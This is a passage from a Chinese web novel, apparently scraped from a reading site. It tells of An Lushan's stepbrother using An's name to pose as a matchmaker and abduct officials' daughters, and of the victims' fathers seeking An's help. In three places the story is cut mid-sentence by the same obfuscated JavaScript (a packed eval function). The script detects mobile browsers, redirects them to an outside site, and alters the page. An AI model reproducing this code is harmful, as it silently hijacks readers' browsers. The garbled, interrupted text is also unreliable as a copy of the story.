“是,好。”安二连忙道,“那军爷们先忙,我们就不打扰了。” 安大被自家弟弟拉着走远了,两人一路出了巷子,到了附近的一家饭馆。 安二招呼道:“博士!来壶烧春!” 店里的小厮见客人一来就直接要好酒,忙提了一壶烧春过来,给两兄弟挨个倒了杯酒。 末了,安二又问道:“你们这最贵的菜都有什么?” 一听这话,小厮更是喜笑颜开,只当是遇到了大主顾,笑着报了好几个菜名。 “行,那就上这几道。”安二豪气地挥了挥手,小厮当即含笑着退下了。 安大狐疑地看着自家弟弟:“你最近收手了?” 他这个弟弟惯爱赌博,平日里进了赌场一呆就是一整天,每个月一发月俸就全扔进赌场里了,兜里从来都是比脸干净。 怎么今儿个居然这么大方? 然而安二闻言却是摇了摇头:“那倒没。” “那你哪来的钱?”安大不禁问道。 闻言,安二“嘿嘿”一笑:“弟弟我是没钱,但是弟弟知道哥哥你肯定有钱啊!” 他哥是个老实人,这一年到头必定是要攒下点钱来,回家里见父母的时候才能不丢面。 凭他对他哥的了解,这钱攒下来的就算再少,请他吃这一顿饭也是绰绰有余了。 安大听见自家弟弟这么不要脸的话,登时就瞪大了眼睛:“我这钱是要带回来过年的!不是用来给你挥霍的!” 这般说着,安大一拍桌子便站了起来,拽着自家弟弟就要往外边走:“快走,这顿饭不吃了!” 这时小厮刚端着前菜走过来,一看两人要走,连忙拦上前去:“哎哎哎,客人不能走啊,还没结账呢!” “酒我们一口没喝,结什么账!”安大恶狠狠地瞪着小厮。 不长眼的东西,连他也敢拦,要是把他给惹急了,小心他哪天带着兄弟们来砸场子! 那小厮从来没见过这么不讲理的人,也是愣了半晌,才红着脸道:“没上的菜也就算了,这上了的菜钱和酒钱必须得结!” 眼见着两人就要打起来,安二连忙拽住自家兄长,劝阻道:“你别急啊!你就不想知道咱家为什么被围起来吗?” “你还好意思说!”安大朝着自家弟弟吼道,“咱家都被围起来了,你还有闲心出来喝酒!” “咱爹也不知道咋样了,你就一点不上心是吧!” “你把你那个牛脾气给我收收!”安二被自家兄长这么一吼,面色登时也变得不好看了,“你什么都不知道,就瞎别捣乱,安安心心吃完这顿饭! “咱兄弟俩出来闯荡这么多年了,你听我的什么时候出过错!” 此言一出,安大直接被噎到了,死死地瞪着自家弟弟。 他不得不承认,他这个弟弟从小就有心眼,做事总有自己的打算,从来不肯吃亏。 安二见到自家兄长被他怼得一时语塞,愣在原地不动了,直接把人拽回到了桌上。 “边吃边说!” 末了,等到小二把菜上完,安大看着自家弟弟有滋味有味地一手夹菜、一手端酒,实在是忍不住了。 不禁开口催促道:“你快别卖关子了,到底是怎么回事!” 安二抬起眼皮看了自家兄长一眼,这才慢悠悠地放下筷子,眼睛往四周瞥了瞥,见整个饭馆里只有他们这一桌人,这才放下心来。 而后他身子微微前倾,凑近后者小声道:“你知道,咱们营州前些日子换了新都督吧?” “你这不废话嘛!”安大有些不耐道,“这和咱家有什么关系!” “你别东扯西扯的!” “你看看你。”安二点了点自家兄长,“天天跟那帮市井无赖混在一起,脾气越来越匪了!” “你别扯淡!”安大盯着他,“赶紧说正事!” 安二只好道:“你知不知道,新上任的营州都督是谁?” “这我上哪知道去?”安大瞪大眼睛,“人家营州都督不管是谁,和咱们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14544364|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能有啥关系?” “关系可大着了!”安二用筷子重重地瞧了瞧桌子,“前几任营州都督都和咱关系不大,但是这一任,关系太大了!” “有啥关系啊?”安大不耐烦道,“总不可能营州都督是咱爹!” 闻言,安二不禁朝着自家兄长神秘一笑:“不是咱爹,却是咱爹的儿子!” “咱爹哪来的儿子?不就咱俩!”安大瞪着自家弟弟,“你说什么胡话呢!” 安二瞧见自家兄长这榆木脑袋的模样,无奈地叹了口气:“我可真是恨铁不成钢啊。” “我直接告诉你吧,新上任的营州都督,就是安禄山!” 此言一出,安大的双眼立马瞪得跟铜铃一般,彻底怔愣在了原地。 他愣了好半晌,才勉强张开口,找回了自己的声音。 “……啥?” “你你你,你说啥?!”安大难以置信地看着自家弟弟,“营州都督是谁?!” “怎么是那个玩意?!” “你小点声!”安二连忙把他给按住了。 看着自家弟弟警告的眼神,安大勉强平复了情绪,这才道:“不是,这,那个不祥之子不是干牙郎的吗,怎么可能当上这么大的官?” 那可是营州都督啊!他们这辈子都够不着边的大人物! 他无论如何也想不到,那样的大人物居然可能是从小被他欺负到大的继弟! 安二摆了摆手:“我也觉得不可能,但是事实就摆在这了,不然你以为围在咱家四周的那些士兵,都是谁的人?” 末了,他又不禁叹了口气,摇头晃脑道:“这有些人是真的命硬啊。” “都说大难不死必有后福,他十四岁那年,被赶出家门以后没被冻死,这后福可不就来了。” “放屁!”安大恶狠狠地骂道,“他生来就是不祥之子,这可是他娘自己占卜出来的!” “从前咱们突厥族每年祭舞的时候,都没人愿意和他作伴,他有个屁的福!” “不管他有福没福,他现在就是营州都督。”安二摊了摊手。 “那他把咱家围起来干啥?”安大不虞道,“他要是真孝顺咱爹,就给咱爹和他老娘换个大点的宅子,多给点钱,把人围起来算怎么回事?” “孝顺?”安二冷笑了一声,“你可别忘了咱们当初是怎么对他的,你指望着他以德报怨?” 此言一出,安大的心里登时“咯噔”一声。 “你啥意思?那他把咱家围起来是怎么……” 安二幽幽地叹了口气:“我都已经打听清楚了,那个畜生是把咱爹给软禁起来了。” “啊?!”安大惊慌道,“那咱们咋办?!” “他不会也把咱俩也给抓起来吧!” “应该不会。”安二沉吟道,“他要是真想抓咱俩,刚才咱俩在宅院前交官籍的时候,就应该被抓起来了。” 毕竟安禄山又不是不认识他俩,真想抓他俩,定然会派人守株待兔。 闻言,安大这才叹了口气。 “那咱们现在咋办,家里回不去,难不成咱们到外边过年去?” “也不是不行。”安二搓了搓手,忽地问向自家兄长,“我说,你想不想赚大钱?” “顺便恶心安禄山那个玩意一把,没准就能让他把兵撤了。” 30. 做局,失踪 在柳城的城郊有着一家看起来平平无奇的客栈,据说该客栈的老板娘长相艳丽,行事泼辣,暗地里同时和好几个男人眉来眼去。 但也正因着老板娘背后有人护着,所以单她一个女人才能把这间客栈一直经营下去,不被附近的同行挤压或吞并。 只是传闻虽然是这么说的,还传得有鼻子有眼,但若是你问上一句:“这事你听谁说的,可有证据?” 那人保管会心虚地嘟囔一句:“大......大家都这么说,哪还要什么证据。” 这里面的各种内情,其实谁也没有亲眼见过,谁也不清楚。 此时,一辆看起来殷实富贵的牛车正好在客栈的门前缓缓停下,随后牛车的门帘便被掀了开,一个衣着精致的女子被丫鬟搀扶着下了马车。 那女子头上戴着一顶淡蓝色的幂篱,长长的罩纱直抵脚踝,将里面的佳人遮得是若隐若现,更添几分朦胧之美。 那站在门口的小厮是前些日子才刚来客栈做活的,此时见到来者竟仿佛是某位大户人家的夫人小姐,当即不可思议地瞪大了眼睛。 他们这家小客栈开得不大,同附近几家有名的客栈比起来差远了,平日里只供着一些风尘赶路的手艺人啊、商人啊什么的来往,何时能招待这样的人家? 莫非......这是哪位大户人家的小姐出来和情郎私会的? 不然怎么会挑上他们这家不起眼的客栈。 小厮正呆愣着,忽地有道尖锐的声音从背后响起:“愣什么呢,赶紧干活!” 这尖声尖气的声音把小厮吓了一跳,他连忙回过头,朝着来者点头哈腰道:“老板娘!” 老板娘没好气地瞪了他一眼,扭动着腰肢朝门口走去。 就在这时,方才下了牛车的女子和丫鬟从外面缓步走了进来,老板娘见到来者,妩媚的脸上当即换上了一副热情的笑容,热络地迎上前去:“这位可是石小姐?” 那一主一仆原本见这家客栈的陈设简陋,还以为是不是来错地方了,面上颇有些担忧和胆怯。 此时一听老板娘的话,这才松了口气。 那丫鬟回道:“正是我家小姐,我家先前和一位姓安的郎君有约,不知……” “知道知道。”老板娘笑着点头,“安郎君就在楼上,一早便吩咐奴家专门等候招待,如今可算是把石小姐给等着了!” 她这般说着,随后转身就朝里面走去:“奴家这就带两位上去!” 等着老板娘带着一主一仆上了二楼,在其中一间雅间的门前停了下来,随后回过头来看向两人,含笑道:“就是这间了。” 话落,老板娘朝着两人虚行一礼,便告退了。 剩下一主一仆看着面前紧闭的木门面面相觑。 丫鬟面露迟疑道:“小姐,奴婢总觉得……” “有些古怪。”幂篱下传出一个柔弱的声音。 “是啊。”那丫鬟连忙点头附和,“您说,要真是安都督想要见咱们,凭都督的身份和地位,怎么也不至于来这样简陋的客栈吧?” 那幂篱下的身影沉默了片刻,而后道:“可是父亲说,安都督是顾及到我身为女儿家的颜面,若是以后亲事不成,至少不会传出我单独和男子私会的丑闻。” “所以都督才会选一个不起眼的小客栈,还要小姐您带上幂篱么?”丫鬟若有所思地点了点头,“那都督真是个细致贴心的好郎君啊!” 那丫鬟的话落入石小姐的耳中,似是给她胆怯的心里注入了几分勇气。 此番若是她能被安都督中意,那将来她便是都督明媒正娶的原配夫人,父亲说都督今年不过弱冠,便已是封疆大吏,前途更是不可限量。 待到都督日后平步青云,说不定自己还能得个诰命呢! 想到此,石小姐终于下定决心,吩咐丫鬟道:“开门吧!” 丫鬟得令,当即把面前的木门给推了开,随后石小姐缓步走了进去。 只是还未等石小姐看清里面是何种情形,忽地脑后传来一股剧痛,她随即失去了意识。 ...... 等到了傍晚时分,石营田使在自家屋里喝着茶,不时扭头看向屋外。 等到杯中的茶水见了底,窗外的夜色也越来越深,石营田使到底是坐不住了。 他“蹭”地一下从椅子上站了起来,不安地吩咐身边的下人道:“你再出去看看。” 这时,他的妻子石夫人匆忙从外面走了进来,焦急地问道:“郎君,咱们女儿还没回来吗?” 这都快天黑了呀! 石营田使的心里自然也是着急得很,只是面上还要强装成一副胸有成竹的模样。 “咱们女儿定是同都督相谈甚欢,夫人不必担心。” “就算谈得再欢也该回来了吧!”石夫人指着外边愈加浓重的天色,“这再不回来,等过了宵禁,就回不来了呀!” “你怕什么?”石营田使略微皱了皱眉,有些焦躁地挥了挥手,“你也不想想安都督在营州是什么地位?” “别说都督过了宵禁还在外边走,人家就算是大半夜的在外边跳舞,也没人敢说什么!” 话虽如此,可石夫人还是放心不下。 夫妻两人正担忧着,忽地有下人从外面跑了进来,大声喊道:“郎君!夫人!安郎君来了!” 闻言,夫妻两人连忙出了屋,随后便见到安二跟在下人身后进了院子。 等到安二气定神闲地来到夫妻两人面前,这才慢悠悠道:“恭喜石公,恭喜石夫人啊!” 此言一出,夫妻两人的脸上纷纷露出了惊喜的笑容。 石营田使高兴地问道:“敢问安郎君,都督可是看上我女儿了?” 安二抚掌道:“正是!” 末了,他又解释道:“是这样的,舍弟同石小姐相谈甚欢,畅聊了许久,等回过神来啊这才发现,外边居然已经天黑了!” “这么晚的时辰,若是都督自己骑马倒还好,快马加鞭说不定还能赶回来,可是石小姐毕竟是坐的牛车,这个时辰若是回来,定然是赶不上宵禁了。” “啊?”石夫人不由得焦急地问道,“那,这可怎么办啊?敢问安郎君,小女现下在何处?” “这个夫人不用担心。”安二爽朗道,“夫人可是忘了?石小姐同舍弟正是去的客栈相会啊!” “如今天色已晚,况且舍弟同石小姐也实在一见如故、相逢恨晚,于是舍弟干脆做主在客栈直接订了两间客房,待到明日,再将石小姐送回来!” “两间?”石夫人小心翼翼地确认道。 闻言,安二微微一笑:“夫人难不成是信不过舍弟的为人?” 石夫人连忙摆手:“不敢不敢,奴家哪里敢怀疑都督!” 安二拍着胸脯道:“夫人绝对可以放心,夫人仔细想想,就凭舍弟的地位和才干,又何须使那些下流手段呢?” 这倒是没错。 石夫人这才松了口气,复又含笑着回应:“方才是奴家多心了,烦请安郎君见谅。” “没事没事!”安二当即表示理解,“夫人您担心也是正常的,毕竟子女都是当父母的心头肉嘛!” 就在这时,外边逐渐响起了辽远但响亮的敲锣打鼓声——已经宵禁了。 “哎呀!”安二一拍脑袋,面上露出一副愁苦的神色,“这么快就宵禁了呀!” “这......那我,这......” 石营田使看出了安二的为难,当即含笑道:“若是安郎君不介意,今夜就在府上将就一晚,明日再回去可好?” “这可好!”安二顿时喜笑颜开,朝着石营田使略一拱手,“那今夜就麻烦石公了!” “不麻烦不麻烦!”石营田使道,“鄙人还要多谢安郎君,愿意代安公和安老夫人来到府上说亲!” “嗨呀,石公这是哪里话。”安二从善如流道,“这首先还得是石小姐知书达理,美名远扬,才能让舍弟起倾慕之心呢!” 石营田使被他夸得是喜笑颜开,当即扭头朝自家夫人道:“夫人去咱家地窖挑坛好酒,今夜我同安郎君一醉方休!” 石夫人知晓了自家女儿被都督给看上了,即将高嫁,心里自然也是高兴得很,此时闻言,更无不应之理,含笑着便离开了。 等到石夫人离开以后,石营田使不由问向安二:“敢问安郎君,既然都督已经看上了小女,那这提亲之事......” “那自然是尽快!”安二满口应道,“不然我都替我这个弟弟着急了!” 话落,他又煞有其事地叹了口气:“其实不瞒石公说,我这个弟弟啊,从小就有脾气,这些年来家父家母也没少给他说亲,结果呢,他一个都不乐意!” “娶妻这事,非得是他自己看上的才行,不然他死活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14559048|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不娶!”安二无奈地摊了摊手,“这不,这一拖都拖到二十了,还在打光棍!” 闻言,石营田使不由得笑道:“都督青年才俊,注定与常人不凡,这般挑剔也是情有可原的。” “挑剔也得有个限度啊!”安二面上颇为愤慨,“因为这事,他都把家父和家母都给气病倒了,不然哪里轮得到我这做兄长的来说亲啊!” “实在是太不像话了!” 这件事,石营田使最开始就听安二说过了,此时再次听到,他十分理解地跟着后者一起捶胸顿足。 不孝有三,无后为大,都督此举确实有些过了。 可又话说回来,若非都督一意孤行,迟迟不肯娶妻,如今又哪里轮得到他们家捡这个便宜呢? 这时,石营田使忽地想到了,都督派亲兵把自己父母的家给围起来的那事。 他不由得问向眼前人:“说起来,鄙人还有一事不解。” 安二当即道:“石公请问,我必定知无不言。” 闻言,石营田使不由得左右环顾四周,见周围都是可信之人,这才凑到安二的耳边,小声问道:“安郎君可知,都督为何要派亲兵把安公和安老夫人……” “哦哦哦,这事啊!”安二面上一副恍然大悟的模样,末了幽幽地叹了口气,“事到如此,我也不瞒石公了!” 听此,石营田使不由得正了正神色:“安郎君请说!” 随后便听得安二开口道:“前些日子啊,赵兵马使来找家父说亲,不知用了什么法子,让家父和家母跟着了魔似的——” “不过也可能是因为二老真的急坏了,反正不管怎么样,二老就认定了让舍弟必须娶赵兵马使的妹妹。” “可是舍弟那是什么人啊,性子烈着呢!你让他娶的,他偏不娶!”安二说着摊了摊手,“结果他们父子俩就这么吵起来了!” “最后家父生生是被我这个弟弟给气晕了。”安二扼腕叹息道,“还因为这么一气,彻底是大病了一场,都病得下不了榻了。” “啊?!”石营田使不由得瞪大眼睛。 “所以我才说嘛,我这个弟弟太不像话了!”安二分开道,“这不,后来亲事非但没有说成,赵兵马使人还......” 听此,石营田使不由得心一沉。 原来赵兵马使是因为这个原因,才遭到清算的! 这是真死得有点冤了...... 安二也跟着叹了口气:“其实我这当哥哥的也知道,家父被气病了主要是还因为舍弟,赵兵马使是真的运气不好,怎么就撞到了枪口上了呢……” “后来舍弟也算是吃了教训了,所以才会派兵把家父的宅院给护着,一方面是为了让家父安心养病,别被任何人打扰。” “这另一方面嘛......可千万别再有人步赵兵马使的后尘了!” 安二说着,又不由得小声对赵兵马使叮嘱道:“此事毕竟不光彩,我也是看在石公即将和我安家结秦晋之好的份上,才敢说的,石公可切忌外传啊!” “那当然不会!”石营田使连忙摆手,“安郎君放心,此事天知地知,你知我知!” “只是……”他不由得担心道,“那安公现下可还好?” 若是真有个什么三长两短,都督丁忧守孝了,就得耽误三年了啊...... “那自然是好多了!”安二随后笑道,“这不家父听闻舍弟中意石小姐,想要娶石小姐为妻,那身子登时就开始好转了,一天比一天硬朗!” “说起来,石小姐真是我家的救星啊!” 石营田使哈哈大笑:“那真是小女的荣幸!” 话音刚落,有下人便进来通传,说晚膳已经备好了。 石营田使当即亲自招待安二,两人喝得伶仃大醉,才被下人们抬回各自的卧房。 安二在石营田使的府上睡了一夜,等到翌日一大早便起了,穿好衣服去跟石营田使告别。 石营田使送安二出了大门,又悄悄往安二的怀里塞了一锭金子,含笑着道:“此番小女能嫁入贵府,真是多亏了安郎君啊!” “哎呀石公您真是太客气了!”安二满怀笑意地将金子收下了。 等到送走了安二以后,石营田使和石夫人便开始大张旗鼓地张罗饭菜,预备给女儿接风洗尘。 可是他们在府里等了整整一天,却再也没能等来自己的女儿。 31. 诱拐案事发 自从女儿三日前出门去和都督见面后,就再也没有回来过。 并且自那日以后,安二也再没来找过他们。 石夫人心急如焚,催促着丈夫去找都督询问女儿的下落。 石营田使自然也是担忧女儿的,但是要说让他去找都督…… 他不敢啊! 最近都督不知道遇见了什么糟心事,脸色那是相当得不好啊,明明长着一张白脸,却整天黑得跟个锅底似的。 前边赵兵马使的头七才刚过去多久啊,他担心女儿,也担心自己的小命啊! 可这话他也没脸跟自家妻子说,只好每次都装作不耐地搪塞过去:“哎呀你担心个什么劲,都督这么大的人物,后院姬妾多了去了,还能对咱们女儿有所图谋不成?” 只是这话他也就说出来哄哄妻子了,实际上他自己都不信。 一个男人若是真的有些什么见不得人的龌龊心思,那他什么事都干得出来。 石营田使的心里也备受煎熬着,他儿子是有好几个,可是女儿真的就只有那么一个,不然也不会挖疯心思想着让女儿高嫁。 好几次他都想着干脆就去找都督问问吧,可是赵兵马使的死就像一团阴云一样笼罩在他的心头,让他好不容易鼓起的勇气迅速偃旗息鼓。 如是又过了数日,石夫人催得越来越紧,石营田使也是越来越如坐针毡了。 然而他不知道的是,他的很多同僚其实已经坐不住了。 这日,安禄山正在和手下的长史、司马两个副手核对今年最后的公务。 等把最后剩下的这些公务都分派出去之后,他预备着给自己休几日假,等到了年底那几天,他还得去长安跑一趟呢。 大唐每年正月初一大朝会,全长安的文武百官必须参朝,非特殊情况不准请假,更不准迟到,就连属国也要派使者在这一天来大唐朝拜,然后送上贺礼。 地方长官倒是也可以派使者去,不过…… 他还是想亲自去一趟。 反正他的年三十和年初一也没有什么家人能一起过节。 若要说让他和母亲继父一起过节,那他宁愿加班。 彼时安禄山方才将最后剩下的那些公务吩咐下去,待到两个副手退下后,他也从椅子上站起身,准备回家正式放假。 他刚从椅子上站起身,忽地外边来通传:“启禀都督,功曹参军事求见。” 功曹参军事? 安禄山刚抬起来的屁股又坐了回去,无奈道:“让他进来。” 很快,功曹参军事便走了进来,朝着安禄山躬身行礼,面上还带着一丝惶恐。 “见过都督。” 安禄山皱眉问道:“何事?” 闻言,功曹参军事面上却露出一副难为情的模样,他踌躇了半天,才颤颤巍巍地开口道:“敢问都督,小女如今可还好?” 安禄山:? 你闺女好不好你来问我? 他莫名其妙地问道:“何参军此言何意?” 闻言,何参军微微抬起头来,小心翼翼地观察对方的脸色。 但见对方脸色阴沉,眼底更是平添了几分阴霾。 近日都督心情不好,这几乎是大家有目共睹的,有了赵兵马使的前车之鉴,他们除非是有避不开的事,否则谁也不敢去触这个霉头。 可是他女儿已经失踪了这么多天了,就算再不敢去触那也得触了! 这般想着,何参军顶着上司阴鹜的目光,硬着头皮道:“十日前,都督约小女往城郊客栈相会,自那以后小女便再无音讯,下官知道,小女能得都督之喜实属小女之幸,只是再的喜欢那也不……” 这腹稿他早已经在心里打了一万遍,此时闭着眼睛几乎是抱着必死的决心,一口气全都吐噜了出来。 只是他这才刚吐噜到一半,便被安禄山抬手打断道:“你等等。” “本都督何时约过你女儿私会?” 他连何参军的闺女叫什么、长什么样都不知道,还喜欢? 扯淡呢。 此言一出,何参军登时难以置信地瞪大眼睛。 啊? 这,这,这…… 都督这是不愿意承认还是…… 只是事到如今,都督就算是再不愿意承认,他也必须撕破脸去问了,不然他实在是没法回去跟妻子交代啊! “就在十日前,都督的兄长来到寒舍,说都督您属意小女,故而让兄长来替您说亲,您可是忘了?” 闻言,安禄山也诧异地瞪圆了眼睛。 两人这么大眼瞪着小眼,半晌过后,安禄山率先发问道:“我哪个兄长?” 啊? 何参军惊愕道:“就是,您二哥啊……” “......我二哥?”安禄山望着何参军满脸的惊讶和茫然,确认对方没跟自己开玩笑。 “你是说,十日前我二哥到你家里,替我去说亲?” “是,是啊。”何参军呆呆道,“您兄长亲口说的呀,难道这事还能有假?” ......呵呵,还真是假的。 安禄山原本难以置信的心里迅速冷静了下来,同时陷入了沉思。 看对方的反应,应当不是在说谎。 那么就是说,十日前,老二那个畜生以他的名义把对方的女儿约了出来,然后带着对方的女儿一起失踪了。 想到此,安禄山的面色也变得愈加阴暗。 彼时他的脑中正不断整理着思绪,而面前的何参军望见前者沉思的模样,心里顿时就有了一种不好的预感。 怎么感觉都督本人,似乎对此事真的不知情? 他刚要开口,便听得都督问道:“你能确定那人是我二哥?” 何参军忙不迭点头:“下官自然是确定的!” 他是柳城本地人,而且曾经和都督一家在一个街坊住过,都督的父母和兄长们他全都认识,绝不可能认错。 话落,他不禁担忧地看向安禄山。 “都督您,不知道此事?” “不知道。”安禄山果断答道。 何参军的心顿时沉到了谷底。 这,这……这怎么会?! 那安老二是骗他的,故意拐走他的女儿?! 都督的两个兄长都是什么德行,他一个柳城本地人是再清楚不过了。 招猫逗狗,胡作非为。 原本他还以为如今都督升了大官,那都督的兄长们定然也能金盆洗手、招安从良,却没成想事情居然到了这种地步! 那安老二惯有赌瘾,如今把自己的女儿给拐走了,那自己的女儿怎么可能还会落着好! 想到此,何参军不禁悲从中来,双腿一弯便跪在了安禄山的面前,悲咽着乞求道:“下官求都督,为下官的女儿做主啊!” 他这一喊直接打断了安禄山的思绪,后者堪堪回过神来,淡淡地瞥了对方一眼,冷声问道:“你刚才说,我二哥假借我的名义,把你女儿约去了城郊的一家客栈。” “那家客栈在哪,叫什么名字。” 何参军忙将那日的各种细节细细讲述出了。 等到听完了事情的整个始末,安禄山拳头硬了。 呵......老二那个畜生真是够可以啊。 他来营州以后,自以为身居高位,从前那帮玩意应当会识些时务,不会再作死地到他面前来惹事,那他也没必要和从前那帮小人一般见识。 却没想到自己的大度,却是让安延偃那个老东西和他的儿子得寸进尺,一个个的蹬鼻子上脸,唯恐自己不找他们算账。 安禄山深吸了一口气,朝着何参军摆了摆手:“此事我会尽快处理,你先退下。” 等到何参军退下去以后,安禄山有些烦躁地揉了揉自己的眉心。 他年底总共就这么几天假! 这要是一般的诱拐良家妇女的案子,他倒也能先搁置着,等到休完假、过完年以后再处理。 但是那个畜生是用他的名义干的! 不赶紧把这个事处理完,拖得越久就事情就泄露得越远,等过完年回来这事早就被传满城皆知了,届时他威名何在! 安禄山这般想着,刚要起身去下令搜查那家客栈,随后外边再次来通传:“都督,石营田使求见。” “进。”安禄山没好气道。 很快石营田使便颤颤巍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14573818|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巍地走了进来,向安禄山行礼过后,竟是说了同何参军差不多的话。 安禄山:“……你女儿也被安老二给拐走了?” “也?!”石营田使诧异地看着安禄山,“拐,拐走?!” “您兄长不是替您来府上提亲的吗?!” 安禄山眉头直跳:“......不是。” 经过了一番交谈,两人最后确定了安老二是用了和诱拐何参军女儿同样的方式,将石营田使的女儿也拐走了。 安禄山不由得长叹了一口气,冷笑着道:“合着我的亲事,你们就没一个人来问我,全都去找他了。” “用脚趾头想也能想明白,我的亲事,能轮得着他来做主吗?” 石营田使唯唯诺诺着不敢说话。 其实仔细想来,这事确实有诸多蹊跷之处。 可是能和都督结亲,那无异于平步青云啊! 诱惑太大了,大到让他们失去了理智,铤而走险。 最后安禄山无奈地让人退下了。 但这还没完。 石营田使走后,他还没来得及离开院子,随后又有下属前来求见,一个接着一个,所求之事也完全相同—— 都督的兄长到他们府上说亲,约家中女儿在城郊那家客栈相会,随后女儿便失踪了,都督的兄长也杳无音讯。 安禄山最开始还会勉强耐心听完下属一把鼻涕一把泪地哭诉,到后边他是肉眼可见地越来越烦躁。 妈的,那个畜生到底用他的名义拐走了多少人!!! 再后来,求见他的人越来越多,络绎不绝,这件事本来可以说是一件普通的诱拐案子,但是已经变成了极其恶劣的诱拐事件。 而且诱拐的女子还都是官家小姐,那么多营州有名有姓的人家丢了女儿,他就算是想搁置也没法搁了。 那个畜生真就是仗着他继兄的身份,胆大包天了。 等他抓住了那个畜生,非剥了那个畜生的皮! 安禄山这般想着,好不容易又送了一个,这时外边来报,偏将田乾真求见。 听到来者是田乾真,安禄山那原本疲惫烦躁的脸上登时双眼放光。 首先他能确定,田乾真没闺女也没妹妹,肯定不是来诉苦的。 其次,其实在营州这种偏远的边疆当兵为将的,大多是大字不识一个的大老粗,就比如他自己。 但是他这个属下却是文武双全,难得的好手,也因此深得他亲信。 此时见到人进来,安禄山如蒙大赦,直接把人给拽了过来,按在了自己的案头,吩咐道:“待会再有人来求见,说什么家里有闺女出去和我私会然后失踪了,你就先记下来,然后告诉他们说我去找人了。” 田乾真:啊? 都,都督和别人家姑娘私会,还把人家姑娘弄丢了?! 这事是他可以听的吗?! 眼见着都督拉开门就要走出去,田乾真匆匆回过神来,连忙上前想要喊住都督。 只是他人还未起身,都督已经如一阵风般蹿了出去。 “都,都督!”田乾真连忙跑着追了出去。 而当他打开门以后,却发现院里空空荡荡,哪里还有都督的踪迹? 他不由得扭头问向守在门口的士兵:“都督刚才往那个方向去了?” 闻言,士兵沉默了片刻,而后嘴唇嗫嚅道:“……刚才,属下确实看到面前的门被打开了。” “随后属下只感觉到面前有一股劲风刮了过去,还未等属下看清是什么,周围已经什么都没有了。” 田乾真:…… 难为都督这身形都能跑得跟风一样快了。 真是人不可貌相啊。 田乾真无奈地回到了屋里,很快士兵就来通传有人来访,那人的哭诉居然和都督说的一模一样。 等他好不容易送走了一个,就又来了个新的,田乾真逐渐忙得不可开交。 彼时,安禄山已经一路出了都督府,随后唤来孙孝哲和他的亲兵队。 等人都到齐了以后,安禄山翻身上马,带兵朝着城郊赶去了。 他倒要看看,是哪家客栈这么大胆,敢在他眼皮子底下犯事。 32. 绑架,勒索 营州地处大唐的最东北,气候寒冷,粮食收成惨淡,连自给自足都成问题,还要靠着安禄山想出同外藩经商的门路来过活。 且其因着地处边疆,营州人烟更是稀少,即便是其治所柳城,一年到头也唯有藩节时,大街上才勉强能聚集些人,凑个热闹景象。 只是在这样一个偏远的地方,却培养出了猖獗的地下生意。 又或许说正是因着它偏远,天子的威严难以涉及这里,才为那些见不得光的生意提供了成长的土壤。 强抢良家姑娘去做娼妓、赌场通宵达旦......甚至曾经有人想要将五石散的生意开到此地。 只是这些地下生意规模虽不小,经营之地却大多在营州的治所柳城之外。 尤其是那些地下生意的龙头们,明明都经营在柳城附近的几个城县,却始终不肯进入柳城。 究其原因,原来它们先前确实是在柳城内的,只不过后来被迁出去了,此后就再也不敢进来了。 至于为什么会迁出去呢? 今年五月末,营州新任都督安禄山来柳城就任。 新官上任三把火,这其中的一把就烧到了这里。 因着营州穷苦,都督府的相当一部分开支,都是靠着那些地下生意给税来维持下去的。 因此营州的每任都督即便是眼里再融不进沙子,也得睁一只眼闭一只眼,对这些地下生意客气有加。 久而久之,那些地下生意在营州本地经营数代,立足了根基,自诩当地豪强,对营州的官吏们也越来越不看在眼里。 等到安禄山来的时候,可以说那些掌握着地下生意的老大们,已经对这个新任都督一点敬畏之心也没有了。 甭管是谁,你来了都得靠我们吃饭,管你是都督还是节度使,乖乖跪下来叫爷爷! 尤其是这个新来的营州都督,才二十岁? 毛头小子一个,看爷爷们怎么治你! 那些龙头老大们这般想着,因此在安禄山刚来到柳城的时候,他们就派自己人去了都督府,敲打敲打安禄山,顺便再立个下马威,让这个新都督知趣些。 可惜他们踢到了铁板上。 这个今年不过弱冠的新都督,并不好惹,他们派去的那些亲信,趾高气扬地进了都督府,回来的时候却是尸体被套在麻袋里,让平卢军送回去的。 这一下子就给那些龙头老大们惹恼了,恰逢今年的税期还没到,他们干脆就不交了。 既然你这个新都督这么硬气,那看你连饭都吃不饱的时候,还能不能这么硬气。 对此,安禄山冷笑一声,紧接着组建起了几个商队,推出了一整套对外经商的体系,打开了同外藩贸易的市场。 而后亲自带兵,找到那些不听话的龙头老大们,把他们的赌场、妓院一把火烧了个干净。 